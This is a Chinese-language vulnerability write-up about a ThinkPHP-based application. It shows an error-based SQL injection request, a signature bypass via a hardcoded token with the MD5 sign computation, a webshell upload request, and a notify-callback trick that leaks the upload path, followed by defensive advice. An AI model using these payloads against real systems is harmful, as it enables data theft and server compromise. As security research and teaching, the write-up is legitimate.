记一次0.5day分析
字数 1080 2025-08-06 00:52:37
ThinkPHP框架安全漏洞分析与利用教学文档
1. 路由分析
1.1 路由识别
- 应用目录通常在
application下 - 通过抓取登录(
/user/login/)、注册或进入后的接口判断对应代码 - 示例中
/user/login/对应index目录下的User.php的login方法
1.2 路由定义问题
- 在
/route/route.php中发现对index模块进行了特殊定义 - 访问
/s:code会访问index/share方法 :code作为占位符绑定参数,无法直接注入
2. SQL注入漏洞分析
2.1 漏洞位置
- 位于后台
index模块的file文件的list()方法 - 可控参数:
folder.id、search
2.2 漏洞成因
- 代码使用
fetchSql(true)获取SQL语句但不执行 - 未执行的SQL语句中的特殊字符(如
')未被转义 - 通过
UNION拼接SQL语句时产生注入
2.3 关键代码分析
$ttt = db('stores')
->where(['parent_folder'=>$folder_id])
->where('origin_name','like','%'.$search.'%')
->field('id,uid,shares_id,origin_name as name,ext,size,count_down,count_open,update_time')
->select();
2.4 漏洞利用
- 构造恶意请求:
GET /file/list?folder_id=1-updatexml(1,concat(0x7e,database(),0x7e),1)&search=&page=&rows= HTTP/1.1
- 通过报错注入获取数据库信息
3. 文件上传漏洞分析
3.1 漏洞位置
public/server/index.php中的文件上传功能- 使用
move_uploaded_file函数
3.2 签名验证机制
- 需要两个参数:
$command和$sign - 验证流程:
- 传入的HTTP参数数组的hash == 传入的
sign sign不作为$params传参- GET传参与
token拼接后进行MD5,结果需与$sign相同
- 传入的HTTP参数数组的hash == 传入的
3.3 签名绕过
- 配置文件中的
token为固定值:asdasfasfasfasfasfa - 签名生成示例:
echo md5("md=upload&uid=1asdasfasfasfasfasfa");
3.4 文件上传利用
- 构造请求:
POST /server/index.php/start?md=upload&uid=1&sign=e8766abd8742eb67a2c07b089ecf636a HTTP/1.1
- 上传恶意文件(如PHP webshell)
3.5 文件路径获取
- 通过
upload_notify功能获取上传路径 - 构造请求触发通知:
echo md5("md=upload¬ify=http://127.0.0.1:8877/&uid=1asdasfasfasfasfasfa");
- 服务器会向通知地址发送包含文件路径的
$info
4. 防御建议
4.1 SQL注入防御
- 避免使用
fetchSql(true)获取未处理的SQL语句 - 对所有用户输入进行严格的过滤和转义
- 使用参数绑定而非直接拼接SQL
4.2 文件上传防御
- 使用更复杂的签名机制,避免固定token
- 限制上传文件类型
- 对上传文件进行重命名
- 禁用危险的文件执行权限
5. 总结
- 审计过程中需要仔细跟踪代码执行流程
- 框架特性(如
fetchSql)可能引入安全隐患 - 签名验证机制需要全面考虑所有可能的绕过方式
- 多调试、多测试是发现漏洞的关键